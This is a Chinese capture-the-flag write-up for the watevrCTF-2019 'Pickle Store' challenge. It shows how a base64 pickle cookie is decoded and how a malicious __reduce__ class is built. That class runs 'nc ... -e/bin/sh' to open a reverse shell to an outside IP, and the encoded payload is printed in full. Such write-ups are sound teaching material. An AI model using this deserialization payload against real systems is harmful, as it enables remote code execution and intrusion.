zoukankan      html  css  js  c++  java
  • [watevrCTF-2019]Pickle Store

    [watevrCTF-2019]Pickle Store

    考察:

    python反序列化

    进入页面提是我们需要买flag

    image-20200414152148635

    然后买第一个或者第二个的时候发现cookie是变化的,如下图。

    image-20200414152250203

    模糊的测试。

    因为这个cookie比较像base64,所以简单测试了一下,发现还是挺像点什么的。

    image-20200414153037985

    后来我把题目名称发给马哥,他告诉我Pickle这个名字一看就是序列化.

    !!!!!!!!!!!!!!!!!!! dltql,dldddd。

    于是去网上搜了搜pickle的知识点。

    链接1: https://www.php.cn/python-tutorials-372984.html

    函数解释

    pickle.dumps( obj )

    序列化对象,并将结果数据流写入到文件对象中。参数protocol是序列化模式,默认值为0,表示以文本的形式序列化。protocol的值还可以是1或2,表示以二进制的形式序列化。

    pickle.loads()

    反序列化对象。将数据解析为一个Python对象

    我们可以大概明确两点,这段信息是被序列化出来的,序列化后的信息被base64加密过再放到cookie里。

    我们可以试着反推一下我们最原始的cookie信息,理想的情况下他至少应该保存着我们有500块钱的信息。

    import pickle
    from base64 import *
    
    enc = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
    
    print(pickle.loads(b64decode(enc)))
    #运行后回显:{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
    

    运行结果如下,果真显示了信息。

    image-20200414155532591

    分析回显结果

    {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
    

    这段json串"anti_tamper_hmac"字段明显的表明了,使用了加密手段。hmac加密,了解的不是很深刻。

    本来想着要去爆破什么的,不过md5级别的爆破还是算了吧。

    然后东哥说,这个东西可以直接getshell,也别去碰撞了。

    getshell构造

    由于要拿shell,所以要先用小号去basic里启动一个靶机。

    我此时用的ip是随到的。

    构造nc的序列化

    import base64
    import pickle
    
    
    class A(object):
        def __reduce__(self):
            return (eval, ("__import__('os').system('nc 174.0.0.223 9999 -e/bin/sh')",))
    a = A()
    print( base64.b64encode( pickle.dumps(a) ) )
    #gANjYnVpbHRpbnMKZXZhbApxAFg4AAAAX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDE3NC4wLjAuMjIzIDk5OTkgLWUvYmluL3NoJylxAYVxAlJxAy4=
    

    先去靶机监听端口

    nc -lvp 9999 监听9999端口

    image-20200414162334446

    把运行的得到的payload写入到cookie信息中,并点击购买。

    image-20200414162305954

    发现有新东西回显了,说明弹shell成功。

    image-20200414162106190

    打一下:ls 发现了flag.txt

    image-20200414162454492

    拿flag:cat flag.txt

    image-20200414162527930

  • 相关阅读:
    hdoj 1175 (bfs)
    hdoj1072 Nightmare bfs
    hdoj1242(bfs+priority_queue)
    hdoj1242(dfs 剪枝 解法)
    hdoj1421(bfs)
    配置Windows 2008 R2 64位 Odoo 8.0 源码PyCharm开发调试环境
    [转]编译VC++程序warning C4819快速解决
    解决VS2013+IE11调试DevExpress ASP.NET MVC的性能问题
    Google被墙 Android开发工具下载地址
    Mac OS X Yosemite安装盘U盘制作
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12698897.html
Copyright © 2011-2022 走看看